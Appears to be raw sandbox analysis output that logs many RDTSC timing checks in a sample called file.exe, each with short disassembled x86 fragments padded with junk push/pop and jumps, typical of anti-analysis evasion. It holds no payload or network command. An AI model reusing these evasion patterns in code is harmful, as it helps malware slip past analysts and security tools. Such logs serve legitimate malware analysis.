Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3577B second address: A35781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35881 second address: A358CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F0C44E7DD66h 0x00000009 jmp 00007F0C44E7DD6Eh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jne 00007F0C44E7DD85h 0x0000001b mov eax, dword ptr [eax] 0x0000001d je 00007F0C44E7DD6Eh 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35991 second address: A35995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AE3B second address: A3AE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AE3F second address: A3AE45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AE45 second address: A3AE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F0C44E7DD72h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AE53 second address: A3AE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AE59 second address: A3AE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007F0C44E7DD66h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A39C93 second address: A39C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A1FC second address: A3A21E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD78h 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F0C44E7DD66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A36B second address: A3A36F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A36F second address: A3A377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40D65 second address: A40DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E18Eh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F0C44D4E18Eh 0x00000011 jmp 00007F0C44D4E18Ah 0x00000016 push eax 0x00000017 jmp 00007F0C44D4E194h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FA99 second address: A3FAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44E7DD71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FAAE second address: A3FABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E18Ah 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FBEC second address: A3FBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FBF2 second address: A3FBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FD41 second address: A3FD70 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C44E7DD6Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C44E7DD79h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FD70 second address: A3FD76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A401D0 second address: A401D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A401D4 second address: A401FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F0C44D4E195h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F0C44D4E186h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A401FF second address: A4021D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C44E7DD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007F0C44E7DD6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4021D second address: A40221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A404AC second address: A404B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A404B0 second address: A404D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E199h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A404D3 second address: A404D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A404D9 second address: A404DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A404DD second address: A40505 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C44E7DD66h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F0C44E7DD79h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4079E second address: A407A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43EDD second address: A43EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F0C44E7DD66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43EEC second address: A43F16 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C44D4E186h 0x00000008 js 00007F0C44D4E186h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F0C44D4E196h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48246 second address: A4827B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0C44E7DD77h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4827B second address: A4827F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C74A second address: A0C756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C756 second address: 9F5AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F0C44D4E18Bh 0x0000000a popad 0x0000000b nop 0x0000000c push eax 0x0000000d mov dword ptr [ebp+122D1D49h], esi 0x00000013 pop edi 0x00000014 lea eax, dword ptr [ebp+1246E4FBh] 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F0C44D4E188h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 jmp 00007F0C44D4E190h 0x00000039 mov di, 2FB3h 0x0000003d push eax 0x0000003e jnp 00007F0C44D4E18Ah 0x00000044 mov dword ptr [esp], eax 0x00000047 jng 00007F0C44D4E19Ah 0x0000004d jmp 00007F0C44D4E194h 0x00000052 call dword ptr [ebp+122D393Fh] 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b push edi 0x0000005c pop edi 0x0000005d push esi 0x0000005e pop esi 0x0000005f jmp 00007F0C44D4E196h 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D5BB second address: A0D605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0C44E7DD68h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 0000001Eh 0x00000029 mov ecx, dword ptr [ebp+122D2B8Bh] 0x0000002f nop 0x00000030 pushad 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 popad 0x00000037 push esi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DAB2 second address: A0DB3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jc 00007F0C44D4E18Ch 0x00000010 add edi, 63BD561Dh 0x00000016 lea eax, dword ptr [ebp+1246E53Fh] 0x0000001c mov dword ptr [ebp+122D1E8Ch], ecx 0x00000022 nop 0x00000023 jmp 00007F0C44D4E18Ah 0x00000028 push eax 0x00000029 jbe 00007F0C44D4E18Ah 0x0000002f nop 0x00000030 mov dword ptr [ebp+122D37BCh], esi 0x00000036 lea eax, dword ptr [ebp+1246E4FBh] 0x0000003c xor dword ptr [ebp+122D1D21h], edi 0x00000042 nop 0x00000043 jno 00007F0C44D4E19Bh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F0C44D4E193h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DB3F second address: A0DB49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0C44E7DD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47516 second address: A4751A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47684 second address: A47689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47689 second address: A47699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0C44D4E186h 0x0000000a jng 00007F0C44D4E186h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47699 second address: A476B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F0C44E7DD99h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A476B4 second address: A476B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A476B8 second address: A476BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A476BC second address: A476C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A476C2 second address: A476CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47AF8 second address: A47B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0C44D4E192h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47B11 second address: A47B17 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D965 second address: A4D970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D970 second address: A4D974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D974 second address: A4D97E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0C44D4E186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C2F3 second address: A4C337 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C44E7DD66h 0x00000008 jmp 00007F0C44E7DD6Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F0C44E7DD72h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0C44E7DD79h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C337 second address: A4C35B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0C44D4E196h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F0C44D4E188h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C5F1 second address: A4C5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C5FA second address: A4C5FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CD18 second address: A4CD57 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C44E7DD66h 0x00000008 jmp 00007F0C44E7DD76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F0C44E7DD7Fh 0x00000015 jmp 00007F0C44E7DD77h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D1A6 second address: A4D207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E199h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d jmp 00007F0C44D4E198h 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F0C44D4E18Ch 0x0000001c jl 00007F0C44D4E186h 0x00000022 pushad 0x00000023 jmp 00007F0C44D4E18Eh 0x00000028 pushad 0x00000029 popad 0x0000002a js 00007F0C44D4E186h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5173A second address: A5173E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53C06 second address: A53C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C44D4E190h 0x00000009 jmp 00007F0C44D4E191h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53C2B second address: A53C31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53C31 second address: A53C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F0C44D4E1B2h 0x0000000e jmp 00007F0C44D4E192h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53C55 second address: A53C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D510D second address: 9D5111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5111 second address: 9D5117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A37 second address: A56A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A3C second address: A56A75 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F0C44E7DD66h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d jmp 00007F0C44E7DD79h 0x00000012 js 00007F0C44E7DD66h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A75 second address: A56A8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56A8C second address: A56AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F0C44E7DD77h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A565BD second address: A565C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0C44D4E186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A565C7 second address: A565DF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0C44E7DD66h 0x00000008 jbe 00007F0C44E7DD66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007F0C44E7DD85h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A565DF second address: A56608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44D4E199h 0x00000009 popad 0x0000000a jbe 00007F0C44D4E1AEh 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56608 second address: A56625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0C44E7DD66h 0x0000000a jmp 00007F0C44E7DD6Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A8D6 second address: A5A8FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a jmp 00007F0C44D4E18Dh 0x0000000f popad 0x00000010 jc 00007F0C44D4E1C3h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A8FA second address: A5A8FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A8FE second address: A5A902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AA76 second address: A5AA80 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0C44E7DD66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AA80 second address: A5AA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F0C44D4E196h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AA9E second address: A5AAB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD72h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AAB6 second address: A5AAC6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AAC6 second address: A5AAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F0C44E7DD66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AFAB second address: A5AFB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AFB1 second address: A5AFBF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F0C44E7DD66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AFBF second address: A5AFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B0E9 second address: A5B0EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B0EF second address: A5B0F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B0F3 second address: A5B0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0C44E7DD66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B0FF second address: A5B11B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C44D4E192h 0x00000009 jne 00007F0C44D4E186h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B11B second address: A5B138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0C44E7DD73h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B138 second address: A5B13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B13E second address: A5B142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60231 second address: A60237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60237 second address: A6023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
